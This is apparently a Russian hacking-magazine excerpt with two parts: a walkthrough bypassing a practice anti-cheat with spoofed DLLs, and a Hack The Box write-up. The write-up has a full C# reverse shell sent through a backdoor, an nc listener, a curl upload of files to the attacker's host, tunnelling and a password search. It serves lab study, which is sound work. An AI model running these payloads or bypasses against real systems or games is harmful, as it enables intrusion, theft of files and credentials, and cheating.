назна чена для оцен ки защищен ности кода игр.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Обратная раз работ ка
анти читов наруша ет поль зователь ские сог- 
лашения игр, поэто му, пов торяя опи сан ное
в этой статье на прак тике, ты дей ству ешь на свой
страх и риск!

Àðõèòåêòóðà Quack
Да вай пос мотрим на общую архи тек туру анти чита гла зами ее авто ра. Далее я
объ ясню, для чего нужен каж дый выделен ный на схе ме ком понент.

Ар хитек тура Quack

Зе леным цве том я выделил кли ент скую часть (то, что будет работать
на компь юте ре игро ка):

Protected video game — игра, которую мы запус каем на сво ем компь юте ре
и которую будет защищать анти чит;

•

Anti-cheat .DLL — поль зователь ская часть анти чита, DLL, которая сущес- 
тву ет в кон тек сте соз данно го про цес са игры и которая отве чает за защиту
памяти про цес са игры;

•

Standalone usermode anti-cheat process — поль зователь ская часть анти- 
чита. Это глав ный модуль анти чита (оркес тра тор), который обща ется
с поль зователь ской и ядер ной час тями, а так же дер жит связь с сер вером
анти чита;

•

Kernel mode anti-cheat — ядер ная часть анти чита. Отве чает за защиту двух
дру гих модулей анти чита. Не реали зова но.

•

Си ним цве том я выделил сер верную часть (то, что будет работать вне компь- 
юте ра игро ка):

Master server — отве чает за хра нение учет ной записи игро ка и управле ние
ею;

•

Game server — отве чает за отсле жива ние сос тояния эле мен тов в игре,
а так же мес тополо жения игро ков и вра гов на кар те;

•

Anti-cheat database — база дан ных игро ков.•

Íàñòðàèâàåì Quack
Ес ли пос ле раз верты вания Quack (как это сде лать, смот ри в руководс тве 

 и ) у тебя ничего работа ет, то советую пов ниматель нее изу- 
чить сле дующие фай лы и нас тро ить сетевые адре са и пор ты в соот ветс твии
с реаль ными усло виями.

на
GitHub на YouTube

GameDevCAServer\Program.cs
   var settings = MongoClientSettings.FromConnectionString(env["DB_URI"

]);
   settings.ServerApi = new ServerApi(ServerApiVersion.V1);

    var mongoClient = new MongoClient(settings);
  database = mongoClient.GetDatabase(env["DB_NAME"]);

Quack-server\src\main.js
  class Config {

      static DB_URI = process.env.DB_URI
      static DB_NAME = process.env.DB_NAME
      static PORT = process.env.PORT

       static CLIENT = new MongoClient(this.DB_URI)

      static DEV_MODE = true
      static VERSION = process.env.npm_package_version
}

Quack-internal\constants.hpp
  namespace constants {

        const LPCWSTR W_DLL_NAME { L"Quack-internal" };
       const LPCSTR DLL_NAME{ "Quack-internal" };

        const std::string VERSION { "0.6.5" };
        constexpr unsigned IPC_PORT = 5175; // Local machine 
communications port
        constexpr unsigned NET_PORT = 7982; // Foreign network 
communications port
        static constexpr bool DBG = false;
}

Quack-client\constants.hpp
  namespace constants {

       const std::string VERSION{ "0.4.2" };
       const std::string NAME{ "Quack" };
        constexpr unsigned IPC_PORT = 5175; // Local machine 
communications port
        constexpr unsigned NET_PORT = 7982; // Foreign network 
communications port
        static constexpr bool DBG = false;
}

Quack-client\flashpoint.cpp
http::Client cli{ "localhost", constants::NET_PORT }; 

Ïðîâåðÿåì ðàáîòîñïîñîáíîñòü Quack
Для начала нам нуж но убе дить ся в том, что все работа ет. Для это го так же,
как и автор анти чита, будем исполь зовать его игру , инжектор 
и внут ренний чит . Под клю чим ся к сер веру по адре су lh (localhost)
с ником xakep0.

Inertia Destroject
Inertia-cheat

Под клю чение к игро вому сер веру

В кон соли игро вого сер вера видим, что про изош ло под клю чение.

Лог игро вого сер вера

Так же в базе дан ных анти чита видим, что появи лась запись.

Ба за дан ных анти чита

На чина ем тест. Для это го в коман дной стро ке выпол ним 

 (не забыв рядом положить ). Видим, что инжект
чита успешно выпол нен.

Destroject.exe 
Inertia Inertia-cheat.dll

Внед ренный чит

Ак тивиру ем чит нажати ем кла виши E.

Ак тивиро ван ный чит

Ви дим, что чит акти виро ван, но сра зу же про исхо дит бан.

Со обще ние о бане в игре

Пос мотрев в БД анти чита, мы можем узнать, из-за чего нас забани ли.

Со обще ние о бане в БД

Про буем сме нить ник нейм, но нас все рав но не пус кают.

По пыт ка сме ны ника

Ес ли попытать ся открыть Cheat Engine, он через пару секунд зак роет ся,
но бан не при летит.

UNITY

Преж де чем рас чехлять  и прис тупать к ревер су анти чита, сде лаем
неболь шое отступ ление. Если ты уже заг лянул в код чита, то мог заметить
сле дующий учас ток:

IDA Pro

Inertia-cheat\player.cpp
  std::optional<Player> GetPlayer() {

      auto start_point = reinterpret_cast<std::uintptr_t>(
GetModuleHandleA("UnityPlayer.dll"));
     start_point += offsets::player.start_point;

   // Get a pointer to health
        const auto health_ptr = TraverseChain(start_point, offsets::
player.ptr_chain).value_or(0u);

    if (!health_ptr)
        return std::nullopt;

         const auto ammo_ptr = health_ptr - 0x4;

     const Player player{
         .health = reinterpret_cast<std::int32_t*>(health_ptr),

         .ammo = reinterpret_cast<std::int32_t*>(ammo_ptr)
   };

    return player;
}

Здесь сто ит обра тить вни мание на строч ку . Дело в том,

что игра написа на на движ ке .

"UnityPlayer.dll"
Unity

Inertia-cheat\data.cpp
  namespace offsets {

      PointerChain player = {
         .start_point = 0x13A1340,

              .ptr_chain { 0xC2C, 0xDC8, 0xEA8, 0x18, 0x38 }
   };
}

Так же мы име ем цепоч ку ука зате лей для . Откро ем ее в IDA
Pro по адре су . Видим, что здесь раз мещено зна чение

перемен ной из сте ка и даль ше поиск клас са игро ка идет в сте ке.

UnityPlayer.dll
base+0x13A1340

UnityPlayer.dll без заг ружен ных отла доч ных сим волов

Что бы облегчить себе задачу, вос поль зуем ся ути литой , которая поз- 
волит получить отла доч ные сим волы. Най ти ее мож но в сос таве 

.

symchk
Debugging

Tools for Windows
Пос ле уста нов ки symchk в коман дной стро ке выпол ним сле дующую коман- 

ду:

symchk.exe /r UnityPlayer.dll /s srv*http://symbolserver.unity3d.com 
/v 

Заг ружен ные отла доч ные сим волы будут рас положе ны здесь:

C:\ProgramData\dbg\sym\UnityPlayer_Win32_mono_x86.pdb\
EAF358F010DF4F28A0807EA7305B4B241\UnityPlayer_Win32_mono_x86.pdb 

Пос ле заг рузим их в IDA Pro.

UnityPlayer.dll с заг ружен ными отла доч ными сим волами

Пос ле заг рузки отла доч ных сим волов кар тина яснее не ста ла. Но пожалуй, мы
не будем углублять ся. Я лишь резюми рую, что такой спо соб под ходит
для Unity-чита, если нуж но толь ко менять зна чения в клас се игро ка, а не отри- 
совы вать что-то (как я делал в ). Если хочешь под робнее изу- 
чить читы для Unity, оставлю ссыл ки.

прош лой статье

WWW

•Unity game hacking
•A Beginner’s Guide To Hacking Unity Games
•Unity Hacking 101: Hacking with Reection

Так же есть полез ный инс тру мент , который поз воля ет прос матри- 
вать тек сту ры, спрай ты, фоны и про чие ассе ты игр, написан ных на Unity.

AssetStudio

Ре сур сы игры

Mono
В Unity есть нес коль ко вари антов бэкен дов, которые могут исполнять игро вой
код. Наша игра исполня ется в вир туаль ной машине , и вся инте ресу- 
ющая нас информа ция, в том чис ле класс игро ка, находят ся вот в этом фай- 
ле:

Mono

Inertia\Inertia_Data\Managed\Assembly-CSharp.dll 

От кро ем эту биб лиоте ку в .dnSpy

Assembly-CSharp.dll

Сле ва будут ука заны все клас сы игры, сре ди них мы с лег костью можем най ти
класс игро ка, как для сетевой игры, так и для оди ноч ной.

Класс игро ка

IL2CPP
Как вари ант, код игры может быть тран сли рован в C++ при помощи бэкен да

 (Intermediate Language To C++) и ском пилиро ван. Ниже — более под- 
робная схе ма это го про цес са, а под робное опи сание ты най дешь 

.

IL2CPP
в докумен- 

тации

Про цесс сбор ки IL2CPP

Ес ли игра соб рана с IL2CPP, то в  мы не най дем

ни пап ки , ни , а инте рес для нас будет пред- 
став лять . Если мы откро ем этот файл в dnSpy, то не уви- 

дим ничего инте рес ного.

Inertia\Inertia_Data\
Managed Assembly-CSharp.dll
GameAssembly.dll

GameAssembly.dll

Продолжение статьи →

mailto:mynxold@gmail.com
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https://github.com/Perfare/AssetStudio
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Все дело в том, что игро вая логика была ском пилиро вана в натив ный код.
Впро чем, и на этот слу чай есть решение — ути лита , которая
поможет извлечь всю информа цию.

Il2CppDumper

Вы пол ним такую коман ду:

Il2CppDumper.exe Inertia\GameAssembly.dll Inertia\Inertia_Data\i
l2cpp_data\Metadata\global-metadata.dat Inertia_dump 

И получим пап ку  с содер жимым, как на скрин шоте.Inertia_dump

Ре зуль тат работы Il2CppDumper

Файл  — вос ста нов ленный исходный код .dump.cs Assembly-CSharp.dll

Со дер жимое dump.cs

DummyDll — пап ка, которая содер жит все вос ста нов ленные бинар ные фай лы.
Это как раз и есть содер жимое , в том чис ле есть и наш 

.

Managed Assembly-
CSharp.dll

Assembly-CSharp.dll из пап ки DummyDll

Про чие важ ные фай лы:
 — заголо воч ный файл со струк турами;• il2cpp.h

 — скрипт для ida.py, ghidra.py и Il2CppBinaryNinja;• script.json

 — содер жит всю информа цию о най ден ных стро- 
ках.

• stringliteral.json

ÈÇÓ×ÀÅÌ È ÎÁÕÎÄÈÌ ÀÍÒÈ×ÈÒ

Для начала пос мотрим, что есть в пап ке с игрой.

Со дер жимое дирек тории игры

 — некая DLL, наз начение которой нам неиз вес тно;• Identify.dll

 — глав ный модуль анти чита;• Quack-ac.exe

 — биб лиоте ка, которая будет заг ружена в кон- 
текст игры.

• Quack-internal.dll

Îáõîäèì äåòåêò ïî HWID
Для начала иссле дуем . Откро ем ее в IDA Pro и перей дем

в единс твен ную экспор тиру емую фун кцию . Сок ращение HWID

(Hardware Identication) дает нам понять, что фун кция собира ет информа цию
о компь юте ре. Но в этом нам все-таки нуж но убе дить ся.

Identify.dll
GetHWID

Эк спор тиру емая фун кция GetHWID

Пе рей дем в фун кцию  и уви дим сле дующие кон стан ты.sub_10003DA0

Иден тифика ция алго рит ма SHA-256

Пос ле гуг ления выяс няем, что это часть алго рит ма SHA-256. А зна чит, пос ле
того как соберет ся информа ция о железе игро ка, от нее будет взят хеш
по алго рит му SHA-256.

Най ден ная реали зация алго рит ма SHA-256 на GitHub

Пос ле перей дем в фун кцию  и сно ва изу чим кон стан ты.sub_10003590

Ал горитм пре обра зова ния бай тов в HEX-стро ку

Сно ва гуг лим и узна ём, что эти кон стан ты — часть алго рит ма перево да бай- 
тов в шес тнад цатерич ную стро ку.

Най ден ная на GitHub реали зация пре обра зова ния бай тов в HEX-стро ку

И пос леднее дей ствие — копиро вание шес тнад цатерич ной стро ки SHA-
256 в аргу мент экспор тиру емой фун кции.

Эк спор тиру емая фун кция GetHWID

Имея пол ную кар тину, мы можем вос про извести алго ритм, но хеш у нас будет
брать ся не от , а от ран домно го зна чения. Для реали зации возь мем код

.

HWID
из реали зации SHA-256

// Определение экспортируемой функции GetHWID
  extern "C" {

       void __declspec(dllexport) GetHWID(char* message) {
       // Объявление переменной для хеша

        SHA256 sha;
       // Инициализация сида от текущего времени для рандома
       srand((unsigned)time(NULL));
       // Получение рандомного значения

          std::string random = std::to_string(rand());
       // Получение SHA-256 для рандомного значения
       sha.update(random);
       // Получение значения хеша

           std::array<uint8_t, 32> digest = sha.digest();
       // Получение шестнадцатеричной строки хеша

          std::string sha256 = SHA256::toString(digest);
       // Присвоение аргументу значения хеша

                for (int i = 0u; i < sha256.length(); ++i) {
             message[i] = sha256[i];

       }
   }
}

Те перь заменим исходную  нашей. Но к сожале нию, под клю- 

чить ся не выходит.

Identify.dll

Да вай пос мотрим, что про исхо дит в окне, где у нас запущен сер вер.

Ло ги игро вого сер вера

Ока зыва ется,  — это часть игры, поз воля ющая иден тифици- 
ровать игро ка, и к анти читу не отно сит ся. Что ж, нем ного про мах нулись,
но наши наработ ки еще при годят ся даль ше.

Identify.dll

Îáõîäèì äåòåêò ñèãíàòóð
Ан тичит, как и анти вирус, уме ет про верять сиг натуры бинар ных фай лов,
в нашем слу чае — в поис ках читов. В нашем слу чае база сиг натур хра нит ся
внут ри .Quack-internal.dll

Най ден ные сиг натуры читов в Quack-internal.dll

Выг лядит эта база как спи сок строк, где звез дочка — это мас ка, озна чающая,
что в этом мес те может быть любой байт.

55 8B EC 83 EC 2C A1 * * * * 33 C5 89 45 FC 53 56 8B 35 * * * * 57 
6A 23 8B F9 FF D6 A8 01 0F 85 
68 * * * * FF 15 * * * * 8B 35 * * * * 8B 3D * * * * 03 F0 A1 * * * 
* 89 45 C8 3B F8 74 5D 
50 A1 * * * * 33 C5 50 8D 45 F4 64 A3 * * * * 6A 19 

Изу чив код, находим фун кции, которые отве чают за сиг натур ный детект.

Иден тифици руем алго ритм поис ка читов

1. Ини циали зиру ется пат терн.
2. Пат терн ищет ся в памяти.
3. Ес ли есть сов падение, запус кает ся про цеду ра бана.

Те перь нам нуж но понять, что менять в нашем чите, что бы обхо дить про вер ку.

Най ден ная бай товая пос ледова тель ность в Inertia-cheat.dll

Есть нес коль ко вари антов: обфуска ция, вир туали зация и изме нение парамет- 
ров ком пиляции кода. Пой дем по самому прос тому пути — поп робу ем вык- 
лючить опти миза цию на эта пе ком пиляции.

От клю чаем опти миза цию на эта пе ком пиляции

Пос ле ком пиляции откро ем тот же кусок кода и пос мотрим, помог ло ли
это изме нить сиг натуру.

Но вая бай товая пос ледова тель ность на мес те ста рой в Inertia-cheat.dll

Как видим, это помог ло!

55 8B EC 83 EC 2C A1 * * * * 33 C5 89 45 FC 53 56 8B 35 * * * * 57 
6A 23 8B F9 FF D6 A8 01 0F 85 
55 8B EC 6A FF 68 ED 40 00 10 64 A1 00 00 00 00 50 83 EC 24 A1 08 60 
00 10 33 C5 89 45 F0 50 8D 45 

Да вай для про вер ки запус тим игру, внед рим чит и акти виру ем его.

Про вер ка работос пособ ности чита

Все успешно работа ет, и бана нет.

Îáõîäèì ÷åðíûé ñïèñîê DNS
В  есть про вер ка доменов, к которым обра щал ся компь- 
ютер игро ка.
Quack-internal.dll

Чер ный спи сок доменов в Quack-internal.dll

Мо жем при желании убе дить ся, что это чер ный спи сок, а не что-то дру гое.
Давай поищем фун кции, которые с ним работа ют.

Иден тифика ция алго рит ма поис ка доменов

1. Ини циали зация доменов из чер ного спис ка.
2. Вы зов фун кции получе ния кеша DNS.
3. Фун кция получе ния доменов из кеша.
4. По иск зап ретных доменов сре ди закеши рован ных.

Вот как это работа ет. Если мы сде лаем GET-зап рос к домену ,

домен закеши рует ся.

aimware.net

 import requests
  r = requests.get('https://aimware.net')

Да же если мы не были при этом в игре, при сле дующем запус ке нас забанят.

Со обще ние о бане в БД

В кеше адрес все рав но висит, поэто му нам нуж но сбро сить кеш DNS
перед сле дующим запус ком игры. Сде лать это лег ко, прос то выпол ним
коман ду .ipconfig /flushdns

Так что луч ше не посещать сай ты, свя зан ные с читами, в откры тую и не
исполь зовать кли енты читов, где нуж на авто риза ция.

INFO

Ути лита для прос мотра кеша DnsCache

За кеши рован ные домены

Îáõîäèì ïðèíóäèòåëüíîå çàâåðøåíèå Cheat Engine
Пом нишь, что при попыт ке открыть Cheat Engine он у нас сра зу зак рывал ся?
Давай раз берем ся, почему.

В  мы ничего не находим, но зато в 

нашел ся спи сок нежела тель ных прог рамм. Как толь ко анти чит обна ружит их
в памяти, он немед ленно завер шит их.

Quack-internal.dll Quack-ac.exe

Ал горитм поис ка нежела тель ных прог рамм

Продолжение статьи →

https://github.com/Perfare/Il2CppDumper
https://github.com/System-Glitch/SHA256/blob/master/src/main.cpp
https://github.com/malcomvetter/DnsCache
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1. Ини циали зация спис ка нежела тель ных прог рамм.
2. Пе реда ча наз ваний в фун кцию поис ка.
3. По луче ние запущен ных про цес сов.
4. Пе ребор и срав нение имен про цес сов.
5. Ес ли сов падение най дено, про цесс завер шает ся.

Вос поль зуем ся  и пос мотрим, как называ ется запущен ный
про цесс Cheat Engine. Вари анты могут быть раз ными, и выбор зависит
от архи тек туры про цес сора. В моем слу чае это 

.

Process Explorer

cheatengine-x86_64-SSE4-
AVX2.exe

Имя про цес са CE

Поп робу ем пере име новать CE и запус тить нап рямую.

Про вер ка работос пособ ности CE

Как видим, все прош ло успешно.

Àíàëèçèðóåì ïàêåòû
С помощью пла гина  для IDA Pro пос мотрим, какие ста тичес ки
слин кован ные биб лиоте ки исполь зуют ся в анти чите. Как видишь,
это  и . Вто рая — явный приз нак того, что прог рамма будет
что-то зап рашивать или отправ лять по сети. Давай узна ем, что имен но.

ClassInfromer

nlohmann httplib

Най ден ные клас сы в Quack-internal.dll

Най ден ные клас сы в Quack-ac.exe

Поп робу ем перех ватить пакеты с помощью .Wireshark

Пе рех вачен ные пакеты, пересы лаемые на localhost

Это так называ емый пакет сер дце биения, который под твержда ет, что про- 
цесс анти чита акти вен.

Па кет, при шед ший от Quack-internal.dll к Quack-ac.exe

Тот же пакет шлет ся и на мас тер-сер вер.

Па кет от Quack-ac.exe к Master server

Пе ресы лает ся и информа ция о най деном чите.

Па кет от Quack-internal.dll к Quack-ac.exe при обна руже нии чита

То же — на мас тер-сер вер.

Па кет от Quack-ac.exe к Master server при обна руже нии чита

Вот как выг лядит информа ция о най ден ном домене из чер ного спис ка.

Па кет от Quack-internal.dll к Quack-ac.exe при обна руже нии домена
из чер ного спис ка

То же идет и на мас тер-сер вер.

Па кет от Quack-ac.exe к Master server при обна руже нии домена из чер -
ного спис ка

Вы яснив все это, мы можем изго товить под дель ный .Identify.dll

// Определение экспортируемой функции GetHWID
  extern "C" {

       void __declspec(dllexport) GetHWID(char* message) {
       // Определение переменной хеша

          std::string sha256 =
"6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b";
       // Присвоение аргументу значения хеша

                for (int i = 0u; i < sha256.length(); ++i) {
             message[i] = sha256[i];

       }
   }
}

Код для нашего .Quack-internal.dll

#include "pch.h"

#include <chrono>
#include <thread>

#include<nlohmann/json.hpp>
#include<httplib.h>

// Для работы с секундами
  using namespace std::chrono_literals;

// Функция потока
    DWORD WINAPI run(LPVOID lpParam) {

   // Объявление переменных
    httplib::Result res;
    nlohmann::json body{};
     long long uptime;
   // Определение клиента сервера и порта
       httplib::Client cli{ "localhost", 7982 };
   // Время
      std::chrono::time_point<std::chrono::system_clock> time_start =
std::chrono::system_clock::now();
   // Задержка
      std::chrono::seconds delay = 1s;
   // Цикл
          for (std::chrono::seconds seconds = 0s; ; ++seconds) {
       // Вычисление времени соединения

  
  

       uptime = std::chrono::duration_cast<std::chrono::seconds>(std
::chrono::system_clock::now() - time_start).count();
       // Пакет

         body["heartbeat"] = {
            {"uuid",

"6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b"},
            {"name", "Placeholder"},
            {"arp", ""},
            {"risk", "0"},

            {"uptime", uptime},
             {"blob", {{"Game position", "[Placeholder]"}}}

       };
       // Post-запрос к серверу

             if (res = cli.Post("/", body.dump(), "application/json")) {
           // Успешно ли соединение?

               if (res->status == 200) {
               // В случае успеха заснуть
               std::this_thread::sleep_for(delay);
               // и продолжить выполнение
               continue;
           }
       }
       // Завершение процесса в том случае, если не получается 
установить соединение с сервером
       ExitProcess(0);
   }
}

// Главная функция
    BOOL APIENTRY DllMain( HMODULE hModule,

                        DWORD ul_reason_for_call,
                       LPVOID lpReserved

                    )
{
    switch (ul_reason_for_call)
   {
    case DLL_PROCESS_ATTACH:
       // Запуск потока

           if (HANDLE thread = CreateThread(nullptr,0,run,hModule,0,
nullptr))
           CloseHandle(thread);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
       break;
   }
    return TRUE;
}

Пос ле ком пиляции уда лим все ненуж ное и под меним DLL нашими.

Фи наль ное содер жимое пап ки игры

В Wireshark будет толь ко пакет сер дце биения к мас тер-сер веру.

Па кет от нашего Quack-ac.exe к Master server

И в резуль тате все прек расно работа ет.

Фи наль ный резуль тат

ÂÛÂÎÄÛ

На ше прик лючение подош ло к кон цу: мы обош ли анти чит и убе дились в том,
что, имея навыки ревер са и прог рамми рова ния, это сов сем не труд но. Безус- 
ловно, ком мерчес кие анти читы, которые ты встре тишь в жиз ни, будут слож- 
нее: они работа ют на уров не ядра, нак рыты про тек торами и могут исполь- 
зовать прод винутые тех ники обна руже ния. Но и их тоже, как ты зна ешь,
регуляр но обхо дят. Как имен но — обсу дим в сле дующий раз!

https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer
https://github.com/rcx/classinformer-ida7
https://github.com/nlohmann/json
https://github.com/yhirose/cpp-httplib
https://www.wireshark.org/
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ВЗЛОМ

В этом рай тапе мы с тобой повысим при- 
виле гии в Windows через вскры тое нами
при ложе ние на Go. Для это го раз берем ся
с шиф ровани ем, а затем напишем дек- 
риптор при помощи ChatGPT. Так же
на нашем пути встре тит ся бэк дор
Naplistener, который мы исполь зуем
для про ник новения в сис тему.

На ша цель — получе ние прав супер поль зовате ля на машине Napper с учеб- 
ной пло щад ки . Уро вень задания — слож ный.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.240  napper.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та: 80 и 443 — служ ба Microsoft IIS 10.0.
При этом поле  сер тифика та SSL на пор те 443 содер жит домен- 

ное имя, к которо му при меня ется сер тификат. Добав ляем этот домен в файл
 и идем смот реть сайт.

CommonName

/etc/hosts

10.10.11.240 napper.htb app.napper.htb 

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На глав ной стра нице мно го пос тов. Вни матель но изу чаем их и находим инс- 
трук цию по Basic-аутен тифика ции на каком-то ресур се. В инс трук ции ука заны
учет ные дан ные.

Со дер жимое пос та

На эта пе раз ведки, если у нас есть домен, никог да не помеша ет запус тить
ска нер под доменов. Давай сде лаем это.

Для ска ниро вания я исполь зую ути литу . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — URL;• -u

 — сло варь;• -w

 — количес тво потоков;• -t

 — HTTP-заголо вок;• -H

 — филь тр по раз меру.• -fs

ffuf      128 -u "https://napper.htb/" -H 'Host: FUZZ.napper.htb' -t -w 
subdomains-top1million-110000.txt -fs 5602 

Ре зуль тат ска ниро вания под доменов

Спус тя пару минут наш ли еще один под домен. Добав ляем его в ./etc/hosts

10.10.11.240 napper.htb app.napper.htb internal.napper.htb 

Basic-авто риза ция

На сай те нас встре чает Basic-аутен тифика ция. Исполь зуем най ден ные ранее
учет ные дан ные и получа ем дос туп к сай ту с единс твен ным пос том.

Глав ная стра ница сай та internal.napper.htb

ÒÎ×ÊÀ ÎÏÎÐÛ

Здесь упо мина ется бэк дор Naplistener в служ бе Microsoft Exchange.

Со дер жимое пос та

Воз можно, этот бэк дор при сутс тву ет на сер вере, поэто му про верим,
не откро ется ли стра ница ./ews/MsExgHealthCheckd

Зап росы в Burp History

Та кая стра ница есть, поэто му раз берем ся, как работа ет бэк дор. Как ука зано
в , стра ница  при нима ет POST-зап рос
и выпол няет сбор ку .NET, закоди рован ную в Base64 и передан ную в парамет- 
ре .

бло ге Elastic /ews/MsExgHealthCheckd

sdafwe3rwe23

Ис ходный код бэк дора

Для тес та я решил про верить, какими будут отве ты сер вера, если отпра вить
POST-зап рос с нуж ным парамет ром и без него.

Зап рос без парамет ров

Зап рос с парамет ром sdafwe3rwe23

От веты сер вера отли чают ся, а зна чит, параметр был обра ботан. Это сви- 
детель ству ет о наличии бэк дора на сер вере. Теперь напишем реверс-шелл
на язы ке C#. В коде дол жен быть класс  и соот ветс тву ющий метод.Run

 using System;
 using System.Collections.Generic;
 using System.Diagnostics;
 using System.IO;
 using System.Linq;
 using System.Net.Sockets;
 using System.Text;
 using System.Threading.Tasks;

 namespace payload
{

  public class Run
{

  static StreamWriter streamWriter;

    public static void Main(string[] args)
{
     Run runInstance = new Run();
}

  public Run() {
       using (TcpClient client = new TcpClient("10.10.16.33", 4321))
 {
      using (Stream stream = client.GetStream())
  {
        using (StreamReader rdr = new StreamReader(stream))
   {
       streamWriter = new StreamWriter(stream);

        StringBuilder strInput = new StringBuilder();

        Process p = new Process();
      p.StartInfo.FileName = "powershell.exe";
      p.StartInfo.CreateNoWindow = true;
      p.StartInfo.UseShellExecute = false;
      p.StartInfo.RedirectStandardOutput = true;
      p.StartInfo.RedirectStandardInput = true;
      p.StartInfo.RedirectStandardError = true;
       p.OutputDataReceived += new DataReceivedEventHandler(
CmdOutputDataHandler);
    p.Start();
    p.BeginOutputReadLine();

     while (true)
    {
     strInput.Append(rdr.ReadLine());
     p.StandardInput.WriteLine(strInput);

      strInput.Remove(0, strInput.Length);
    }
   }
  }
 }
}

     
 

private static void CmdOutputDataHandler(object sendingProcess,
DataReceivedEventArgs outLine)
{
     StringBuilder strOutput = new StringBuilder();

  if (!String.IsNullOrEmpty(outLine.Data))
 {
  try
  {
   strOutput.Append(outLine.Data);
   streamWriter.WriteLine(strOutput);
   streamWriter.Flush();
  }
      catch (Exception err) { }
 }
}
}
}

Пос ле ком пиляции исполня емо го фай ла его нуж но будет закоди ровать
в Base64 с помощью PowerShell.

[convert]::ToBase64String((Get-Content -path "payload.exe" -Encoding 
byte))

За пус каем лис тенер на локаль ном хос те:

rlwrap nc -lvp 4321 

И выпол няем зап рос к сер веру, где переда ем закоди рован ную сбор ку .NET.

Зап рос на сер вер

Поч ти мгно вен но получа ем бэк конект и забира ем пер вый флаг.

Сес сия на сер вере

Флаг поль зовате ля

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/ffuf/ffuf
https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph
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Мы в сис теме, а зна чит, пора собирать информа цию для повыше ния при- 
виле гий. Я по тра диции буду исполь зовать для это го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост исполня емый файл для Windows и запус тим ска ниро вание.
В выводе будет мно го информа ции, поэто му ищем толь ко важ ные момен ты,
которые помогут в прод вижении.

В сис теме есть допол нитель ный адми нис тра тор — учет ная запись .backup

Спи сок поль зовате лей

На хос те работа ет служ ба Elasticsearch 8.8.0.

Ак тивные служ бы

Так же в катало ге  на дис ке  есть каталог , пред положи тель но отно- 
сящий ся к веб-сер веру.

Temp C: www

Со дер жимое катало га C:\Temp

При изу чении этой пап ки ста новит ся понят но, что здесь рас положен сайт
, но тут не один пост, а два.internal

Пос ты в бло ге

Скры тый пост сооб щает о том, что пароль поль зовате ля  хра нит ся

в базе Elastic.

backup

Со дер жимое пос та

Проб лема в том, что пароль зашиф рован и для работы исполь зует ся какой-то
спе циаль ный кли ент, который рас положен во вло жен ном катало ге.

Со дер жимое катало га internal-laps-alpha

Для заг рузки фай лов с уда лен ного хос та очень удоб но исполь зовать 
. На локаль ном хос те запус каем

сам веб-сер вер:

мой
веб-сер вер с воз можностью заг рузки фай лов

python3 HTTPServerWithUpload.py 80 

На уда лен ном хос те, с которо го нуж но увес ти файл, для заг рузки исполь зуем
curl.

C:\Windows\System32\curl.exe -v -X POST http://10.10.16.33/ -H 
"Content-Type: multipart/form-data" -F file=@".\a.exe"

Заг рузка фай ла

Но для работы с Elasticsearch нам нуж ны учет ные дан ные.

Ïàðîëü îò Elasticsearch
Для поис ка паролей в фай лах Elasticsearch перехо дим в каталог служ бы и в
дирек тории  запус каем поиск всех фай лов, содер жащих подс тро ку

.
data

passw

findstr /s /i /m "passw" .\*

Спи сок фай лов с пароля ми

Фай лов най дено не так мно го, поэто му прос то чита ем каж дый из них.
Находим учет ные дан ные Elastic вот в таком фай ле:

. ndex\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\i \_se.cfs 

Со дер жимое фай ла \_se.cfs

Ос талось под клю чить ся к служ бе. Но так как ее порт открыт толь ко для адре- 
са 127.0.0.1, нам нуж но пос тро ить сетевой тун нель, для чего при годит ся ути- 
лита . На локаль ном хос те запус тим сер вер, ожи дающий под клю чения
(параметр ) на порт 8888 (параметр ):

chisel

--reverse -p

./chisel.bin server -p 8888 --reverse

Те перь на уда лен ном хос те запус тим кли ент скую часть. Ука зыва ем адрес сер- 
вера и порт для под клю чения, а так же тип тун неля  для рет ран сля ции тра- 

фика с пор та 9200 нашего локаль ного сер вера на порт 9200 уда лен ного сер- 
вера 127.0.0.1.

R

.\chisel.exe client 10.10.16.33:8888 R:9200:127.0.0.1:9200 

В логах сер вера мы дол жны уви деть сооб щение о соз дании сес сии.

Ло ги chisel server

